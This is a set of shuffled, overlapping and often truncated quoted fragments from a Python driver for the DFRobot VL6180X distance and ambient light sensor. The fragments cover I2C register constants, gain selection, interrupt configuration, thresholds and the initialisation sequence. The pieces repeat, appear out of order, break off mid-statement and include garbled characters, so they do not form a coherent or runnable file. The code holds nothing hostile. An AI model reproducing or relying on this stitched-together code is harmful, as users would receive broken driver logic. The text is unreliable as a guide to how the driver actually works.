"def als_config_interrupt(self,mode): if(mode > self.VL6180X_NEW_SAMPLE_READY): return False self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO]) value = self.__i2cbus.read_byte(self.__i2c_addr) value",
"times gain: VL6180X_ALS_GAIN_5 = 2 @n 2.5 times gain: VL6180X_ALS_GAIN_2_5 = 3 @n",
"in milliseconds ''' def als_set_inter_measurement_period(self,period_ms): if(period_ms>10): if(period_ms<2550): period_ms = (period_ms/10) -1 else: period_ms",
"return The light intensity,uint lux ''' def als_poll_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x01]) return self.als_get_measurement() '''",
"self.__gain = 40 gain =gain | 0x40 self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_ANALOGUE_GAIN>>8, [self.VL6180X_SYSALS_ANALOGUE_GAIN,gain]) return True ''' @brief",
"[self.VL6180X_SYSRANGE_START,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_INTERLEAVED_MODE_ENABLE>>8, [self.VL6180X_INTERLEAVED_MODE_ENABLE,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET>>8, [self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET,0]) ''' @brief Set Range Threshold Value",
"7 # The result of the range measurenments VL6180X_NO_ERR = 0x00 VL6180X_ALS_OVERFLOW_ERR =",
"return ranging data ,uint mm ''' def range_get_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_RANGE_VAL>>8, [self.VL6180X_RESULT_RANGE_VAL]) value = self.__i2cbus.read_byte(self.__i2c_addr)",
"turn off interleaved mode ''' def __stop_interleave_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_INTERLEAVED_MODE_ENABLE>>8, [self.VL6180X_INTERLEAVED_MODE_ENABLE,0x00]) ''' @brief",
"''' @brief Configure the interrupt mode for ranging @param mode Enable interrupt mode",
"''' @brief Initialize the sensor configuration ''' def __init(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET>>8, [self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET]) reset =",
"0x038 VL6180X_SYSALS_THRESH_HIGH = 0x03A VL6180X_SYSALS_THRESH_LOW = 0x03C VL6180X_SYSALS_INTERMEASUREMENT_PERIOD = 0x03E VL6180X_SYSALS_ANALOGUE_GAIN = 0x03F",
"[0x9f,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xa3,0x3c]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xb7,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xbb,0x3c]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xb2,0x09]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xca,0x09]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0x98,0x01])",
"the INT pin and enable the GPIO1 interrupt function @param mode Enable interrupt",
"ranging @return return status @n 0 �?No threshold events reported @n VL6180X_LEVEL_LOW :value",
"up the success, false :Setup failed ''' def set_als_gain(self,gain): if(gain>7): return False if(gain",
"import RPi.GPIO as GPIO class DFRobot_VL6180X: # IIC ADDR VL6180X_IIC_ADDRESS = 0x29 #",
"= 0x01 VL6180X_ALS_UNDERFLOW_ERR = 0x02 VL6180X_NO_ERR = 0x00 VL6180X_EARLY_CONV_ERR = 0x06 VL6180X_MAX_CONV_ERR =",
"[self.VL6180X_SYSALS_INTEGRATION_PERIOD,0x63]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_READOUT_AVERAGING_SAMPLE_PERIOD>>8, [self.VL6180X_READOUT_AVERAGING_SAMPLE_PERIOD,0x30]) self.set_als_gain(self.VL6180X_ALS_GAIN_1) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x20]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_INTERLEAVED_MODE_ENABLE>>8,",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_VHV_REPEAT_RATE>>8, [self.VL6180X_SYSRANGE_VHV_REPEAT_RATE,0xFF]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_VHV_RECALIBRATE>>8, [self.VL6180X_SYSRANGE_VHV_RECALIBRATE,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_MAX_CONVERGENCE_TIME>>8, [self.VL6180X_SYSRANGE_MAX_CONVERGENCE_TIME,0x31]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD,0x31]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_INTEGRATION_PERIOD>>8, [self.VL6180X_SYSALS_INTEGRATION_PERIOD,0x63]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_READOUT_AVERAGING_SAMPLE_PERIOD>>8, [self.VL6180X_READOUT_AVERAGING_SAMPLE_PERIOD,0x30]) self.set_als_gain(self.VL6180X_ALS_GAIN_1)",
"-*- coding: utf-8 -* \"\"\" file DFRobot_VL6180X.py # DFRobot_VL6180X Class infrastructure, implementation of",
"= 0x01A VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD = 0x01B VL6180X_SYSRANGE_MAX_CONVERGENCE_TIME = 0x01C VL6180X_SYSRANGE_EARLY_CONVERGENCE_ESTIMATE = 0x022 VL6180X_SYSRANGE_MAX_AMBIENT_LEVEL_MULT =",
"''' def als_get_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_ALS_VAL>>8, [self.VL6180X_RESULT_ALS_VAL]) a = self.__i2cbus.read_byte(self.__i2c_addr) b = self.__i2cbus.read_byte(self.__i2c_addr) value =",
"== self.VL6180X_ALS_GAIN_20): self.__gain = 20 elif(gain == self.VL6180X_ALS_GAIN_10): self.__gain = 10 elif(gain ==",
"def range_get_interrupt_status(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO>>8, [self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO]) result = self.__i2cbus.read_byte(self.__i2c_addr) result = result & 0x07 return",
"False if(gain == self.VL6180X_ALS_GAIN_20): self.__gain = 20 elif(gain == self.VL6180X_ALS_GAIN_10): self.__gain = 10",
"VL6180X_Range_UNDERFLOW_ERR = 0x0E VL6180X_Range_OVERFLOW_ERR = 0x0F # GPIO1 mode selection VL6180X_DIS_INTERRUPT = 0",
"= 2.5 elif(gain == self.VL6180X_ALS_GAIN_1_67): self.__gain = 1.67 elif(gain == self.VL6180X_ALS_GAIN_1_25): self.__gain =",
"sensor @param CE The pin number attached to the CE @return return True",
"[self.VL6180X_SYSRANGE_VHV_REPEAT_RATE,0xFF]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_VHV_RECALIBRATE>>8, [self.VL6180X_SYSRANGE_VHV_RECALIBRATE,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_MAX_CONVERGENCE_TIME>>8, [self.VL6180X_SYSRANGE_MAX_CONVERGENCE_TIME,0x31]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD,0x31]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_INTEGRATION_PERIOD>>8, [self.VL6180X_SYSALS_INTEGRATION_PERIOD,0x63]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_READOUT_AVERAGING_SAMPLE_PERIOD>>8, [self.VL6180X_READOUT_AVERAGING_SAMPLE_PERIOD,0x30]) self.set_als_gain(self.VL6180X_ALS_GAIN_1) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8,",
"The sensor register address VL6180X_IDENTIFICATION_MODEL_ID = 0x000 VL6180X_SYSTEM_MODE_GPIO0 = 0X010 VL6180X_SYSTEM_MODE_GPIO1 = 0X011",
"[self.VL6180X_SYSALS_START,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_INTERLEAVED_MODE_ENABLE>>8, [self.VL6180X_INTERLEAVED_MODE_ENABLE,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET>>8, [self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET,0]) ''' @brief Set Range Threshold Value @param thresholdL",
"VL6180X_IGNORE_ERR = 0x08 VL6180X_MAX_S_N_ERR = 0x0B VL6180X_RAW_Range_UNDERFLOW_ERR = 0x0C VL6180X_RAW_Range_OVERFLOW_ERR = 0x0D VL6180X_Range_UNDERFLOW_ERR",
"= 7 # The result of the range measurenments VL6180X_NO_ERR = 0x00 VL6180X_ALS_OVERFLOW_ERR",
"# 8 gain modes for ambient light VL6180X_ALS_GAIN_20 = 0 VL6180X_ALS_GAIN_10 = 1",
"1.0 self.__atime =100 ''' @brief Initialize sensor @param CE The pin number attached",
"False self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO]) value = self.__i2cbus.read_byte(self.__i2c_addr) value = value | ( mode <<",
"[self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO]) result = self.__i2cbus.read_byte(self.__i2c_addr) result = (result>>3) & 0x07 return result ''' @brief",
":Lower Threshold @param thresholdH :Upper threshold ''' def set_range_threshold_value(self,threshold_l,threshold_h): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_THRESH_LOW>>8, [self.VL6180X_SYSRANGE_THRESH_LOW,threshold_l]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_THRESH_HIGH>>8, [self.VL6180X_SYSRANGE_THRESH_HIGH,threshold_h])",
"ambient light VL6180X_ALS_GAIN_20 = 0 VL6180X_ALS_GAIN_10 = 1 VL6180X_ALS_GAIN_5 = 2 VL6180X_ALS_GAIN_2_5 =",
"0x03E VL6180X_SYSALS_ANALOGUE_GAIN = 0x03F VL6180X_SYSALS_INTEGRATION_PERIOD = 0x040 VL6180X_RESULT_RANGE_STATUS = 0x04D VL6180X_RESULT_ALS_STATUS = 0x04E",
"from https://www.dfrobot.com @url https://github.com/DFRobot/DFRobot_VL6180X \"\"\" import smbus import time import RPi.GPIO as GPIO",
"thresh_high @n VL6180X_NEW_SAMPLE_READY new sample ready ''' def als_config_interrupt(self,mode): if(mode > self.VL6180X_NEW_SAMPLE_READY): return",
"@copyright Copyright (c) 2010 DFRobot Co.Ltd (http://www.dfrobot.com) @licence The MIT License (MIT) @author",
"@date 2021-02-09 @get from https://www.dfrobot.com @url https://github.com/DFRobot/DFRobot_VL6180X \"\"\" import smbus import time import",
"measured light intensity @return return status @n 0 �?No threshold events reported @n",
"@brief turn off interleaved mode ''' def __stop_interleave_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_INTERLEAVED_MODE_ENABLE>>8, [self.VL6180X_INTERLEAVED_MODE_ENABLE,0x00]) '''",
"thresh_low OR value > thresh_high @n VL6180X_NEW_SAMPLE_READY new sample ready ''' def als_config_interrupt(self,mode):",
"[self.VL6180X_SYSRANGE_THRESH_HIGH,threshold_h]) ''' @brief Set ALS Threshold Value @param thresholdL :Lower Threshold @param thresholdH",
"@brief Enable continuous measurement of ambient light intensity mode ''' def als_start_continuous_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8,",
"Enable continuous ranging mode ''' def range_start_continuous_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x01]) time.sleep(0.3); self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8,",
"0x00 VL6180X_ALS_OVERFLOW_ERR = 0x01 VL6180X_ALS_UNDERFLOW_ERR = 0x02 VL6180X_NO_ERR = 0x00 VL6180X_EARLY_CONV_ERR = 0x06",
"VL6180X_ALS_GAIN_1_25 = 5 VL6180X_ALS_GAIN_1 = 6 VL6180X_ALS_GAIN_40 = 7 # The result of",
"2550): period_ms = ( period_ms / 10 ) -1 else: period_ms = 254",
"measurement of ambient light intensity mode ''' def als_start_continuous_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) time.sleep(1) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8,",
"= 0x02E VL6180X_SYSRANGE_VHV_REPEAT_RATE = 0x031 VL6180X_SYSALS_START = 0x038 VL6180X_SYSALS_THRESH_HIGH = 0x03A VL6180X_SYSALS_THRESH_LOW =",
"self.__atime =100 ''' @brief Initialize sensor @param CE The pin number attached to",
"Gets the interrupt state of the ranging @return return status @n 0 �?No",
"[0x96,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x97,0xfd]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe3,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe4,0x04]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe5,0x02]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe6,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe7,0x03])",
"VL6180X_ALS_GAIN_1_25 = 5 @n 1 times gain: VL6180X_ALS_GAIN_1 = 6 @n 40 times",
"[self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET]) reset = self.__i2cbus.read_byte(self.__i2c_addr) if(reset): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x02, [0x07,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x02, [0x08,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x96,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x97,0xfd])",
"VL6180X_NEW_SAMPLE_READY :new sample ready ''' def als_get_interrupt_status(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO>>8, [self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO]) result = self.__i2cbus.read_byte(self.__i2c_addr) result",
"0x02D VL6180X_SYSRANGE_VHV_RECALIBRATE = 0x02E VL6180X_SYSRANGE_VHV_REPEAT_RATE = 0x031 VL6180X_SYSALS_START = 0x038 VL6180X_SYSALS_THRESH_HIGH = 0x03A",
"interrupt state of the measured light intensity @return return status @n 0 �?No",
"thresh_high @n VL6180X_OUT_OF_WINDOW value < thresh_low OR value > thresh_high @n VL6180X_NEW_SAMPLE_READY new",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,7]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x03]) ''' @brief Configure the period for measuring light intensity",
"@author [yangfeng]<<EMAIL>> @version V1.0 @date 2021-02-09 @get from https://www.dfrobot.com @url https://github.com/DFRobot/DFRobot_VL6180X \"\"\" import",
"value = value | mode self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO,value]) ''' @brief Configure the interrupt mode",
"& 0x07 return result ''' @brief turn off interleaved mode ''' def __stop_interleave_mode(self):",
"failed ''' def set_als_gain(self,gain): if(gain>7): return False if(gain == self.VL6180X_ALS_GAIN_20): self.__gain = 20",
"= self.__i2cbus.read_byte(self.__i2c_addr) value = (a<<8) | b result = ((0.32*100*value)/(self.__gain*self.__atime)) return result '''",
"value > thresh_high @n VL6180X_NEW_SAMPLE_READY new sample ready ''' def als_config_interrupt(self,mode): if(mode >",
"CE @return return True succeed ;return False failed. ''' def begin(self): device_id =",
"[self.VL6180X_SYSALS_START,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_INTERLEAVED_MODE_ENABLE>>8, [self.VL6180X_INTERLEAVED_MODE_ENABLE,0x00]) ''' @brief Gets validation information for range data @return Authentication",
"interrupt enabled, INT low by default ''' def set_interrupt(self,mode): if(mode == self.VL6180X_DIS_INTERRUPT): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8,",
"= 0X011 VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO = 0x014 VL6180X_SYSTEM_INTERRUPT_CLEAR = 0x015 VL6180X_SYSTEM_FRESH_OUT_OF_RESET = 0x016 VL6180X_SYSTEM_GROUPED_PARAMETER_HOLD =",
"thresh_high @n VL6180X_NEW_SAMPLE_READY :new sample ready ''' def als_get_interrupt_status(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO>>8, [self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO]) result =",
"self.VL6180X_ALS_GAIN_1_67): self.__gain = 1.67 elif(gain == self.VL6180X_ALS_GAIN_1_25): self.__gain = 1.25 elif(gain == self.VL6180X_ALS_GAIN_1):",
"1): self.__i2cbus = smbus.SMBus(bus) self.__i2c_addr = iic_addr self.__gain = 1.0 self.__atime =100 '''",
"if(period_ms > 10): if(period_ms < 2550): period_ms = ( period_ms / 10 )",
"0x40 self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_ANALOGUE_GAIN>>8, [self.VL6180X_SYSALS_ANALOGUE_GAIN,gain]) return True ''' @brief get the identifier of sensor @return",
"period, in milliseconds ''' def range_set_inter_measurement_period(self,period_ms): if(period_ms > 10): if(period_ms < 2550): period_ms",
"< 2550): period_ms = ( period_ms / 10 ) -1 else: period_ms =",
"= 0x016 VL6180X_SYSTEM_GROUPED_PARAMETER_HOLD = 0x017 VL6180X_SYSRANGE_START = 0x018 VL6180X_SYSRANGE_THRESH_HIGH = 0x019 VL6180X_SYSRANGE_THRESH_LOW =",
"period_ms Measurement period, in milliseconds ''' def range_set_inter_measurement_period(self,period_ms): if(period_ms > 10): if(period_ms <",
"value | ( mode << 3 ) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO,value]) ''' @brief Enable continuous",
"threshold ''' def set_als_threshold_value(self,threshold_l,threshold_h): value_l = int((threshold_l * self.__gain)/0.32) value_h = int((threshold_h* self.__gain)/0.32)",
"@brief Initialize the sensor configuration ''' def __init(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET>>8, [self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET]) reset = self.__i2cbus.read_byte(self.__i2c_addr)",
":Upper threshold ''' def set_als_threshold_value(self,threshold_l,threshold_h): value_l = int((threshold_l * self.__gain)/0.32) value_h = int((threshold_h*",
"VL6180X_SYSRANGE_THRESH_HIGH = 0x019 VL6180X_SYSRANGE_THRESH_LOW = 0x01A VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD = 0x01B VL6180X_SYSRANGE_MAX_CONVERGENCE_TIME = 0x01C VL6180X_SYSRANGE_EARLY_CONVERGENCE_ESTIMATE",
"10 ) -1 else: period_ms = 254 self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD,period_ms]) ''' @brief Configure the",
"''' @brief Configure the interrupt mode for the ambient light @param mode Enable",
"VL6180X_NEW_SAMPLE_READY = 4 ''' @brief Module init @param bus Set to IICBus @param",
"a = self.__i2cbus.read_byte(self.__i2c_addr) b = self.__i2cbus.read_byte(self.__i2c_addr) value = (a<<8) | b result =",
"success, false :Setup failed ''' def set_als_gain(self,gain): if(gain>7): return False if(gain == self.VL6180X_ALS_GAIN_20):",
"''' def als_poll_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x01]) return self.als_get_measurement() ''' @brief Obtain measured light data",
"self.__gain = 1.25 elif(gain == self.VL6180X_ALS_GAIN_1): self.__gain = 1.0 elif(gain == self.VL6180X_ALS_GAIN_40): self.__gain",
"import time import RPi.GPIO as GPIO class DFRobot_VL6180X: # IIC ADDR VL6180X_IIC_ADDRESS =",
"= (period_ms/10) -1 else: period_ms = 254 self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD,period_ms]) ''' @brief turn on",
"5.0 elif(gain == self.VL6180X_ALS_GAIN_2_5): self.__gain = 2.5 elif(gain == self.VL6180X_ALS_GAIN_1_67): self.__gain = 1.67",
"set_iic_addr(self,addr): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_I2C_SLAVE_DEVICE_ADDRESS>>8, [self.VL6180X_I2C_SLAVE_DEVICE_ADDRESS,addr]) self.__i2c_addr = addr ''' @brief Initialize the sensor configuration '''",
"= 10 elif(gain == self.VL6180X_ALS_GAIN_5): self.__gain = 5.0 elif(gain == self.VL6180X_ALS_GAIN_2_5): self.__gain =",
"VL6180X_LEVEL_LOW value < thresh_low @n VL6180X_LEVEL_HIGH value > thresh_high @n VL6180X_OUT_OF_WINDOW value <",
"value = self.__i2cbus.read_byte(self.__i2c_addr) value = value | ( mode << 3 ) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8,",
"VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO = 0x014 VL6180X_SYSTEM_INTERRUPT_CLEAR = 0x015 VL6180X_SYSTEM_FRESH_OUT_OF_RESET = 0x016 VL6180X_SYSTEM_GROUPED_PARAMETER_HOLD = 0x017 VL6180X_SYSRANGE_START",
"VL6180X_ALS_GAIN_20 = 0 VL6180X_ALS_GAIN_10 = 1 VL6180X_ALS_GAIN_5 = 2 VL6180X_ALS_GAIN_2_5 = 3 VL6180X_ALS_GAIN_1_67",
"self.range_get_measurement() ''' @brief Configuration ranging period @param period_ms Measurement period, in milliseconds '''",
"if(period_ms>10): if(period_ms<2550): period_ms = (period_ms/10) -1 else: period_ms = 254 self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD,period_ms]) '''",
"''' @brief turn off interleaved mode ''' def __stop_interleave_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_INTERLEAVED_MODE_ENABLE>>8, [self.VL6180X_INTERLEAVED_MODE_ENABLE,0x00])",
"@n VL6180X_LOW_INTERRUPT GPIO1 interrupt enabled, INT low by default ''' def set_interrupt(self,mode): if(mode",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xa7,0x1f]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x30,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD,0x09]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_VHV_REPEAT_RATE>>8, [self.VL6180X_SYSRANGE_VHV_REPEAT_RATE,0xFF]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_VHV_RECALIBRATE>>8, [self.VL6180X_SYSRANGE_VHV_RECALIBRATE,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_MAX_CONVERGENCE_TIME>>8, [self.VL6180X_SYSRANGE_MAX_CONVERGENCE_TIME,0x31]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD>>8,",
"< thresh_low @n VL6180X_LEVEL_HIGH :value > thresh_high @n VL6180X_OUT_OF_WINDOW :value < thresh_low OR",
"0x014 VL6180X_SYSTEM_INTERRUPT_CLEAR = 0x015 VL6180X_SYSTEM_FRESH_OUT_OF_RESET = 0x016 VL6180X_SYSTEM_GROUPED_PARAMETER_HOLD = 0x017 VL6180X_SYSRANGE_START = 0x018",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_INTERLEAVED_MODE_ENABLE>>8, [self.VL6180X_INTERLEAVED_MODE_ENABLE,0x00]) ''' @brief Gets validation information for range data @return",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xb7,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xbb,0x3c]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xb2,0x09]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xca,0x09]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0x98,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xb0,0x17]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01,",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_VHV_RECALIBRATE>>8, [self.VL6180X_SYSRANGE_VHV_RECALIBRATE,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_MAX_CONVERGENCE_TIME>>8, [self.VL6180X_SYSRANGE_MAX_CONVERGENCE_TIME,0x31]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD,0x31]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_INTEGRATION_PERIOD>>8, [self.VL6180X_SYSALS_INTEGRATION_PERIOD,0x63]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_READOUT_AVERAGING_SAMPLE_PERIOD>>8, [self.VL6180X_READOUT_AVERAGING_SAMPLE_PERIOD,0x30]) self.set_als_gain(self.VL6180X_ALS_GAIN_1) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x20])",
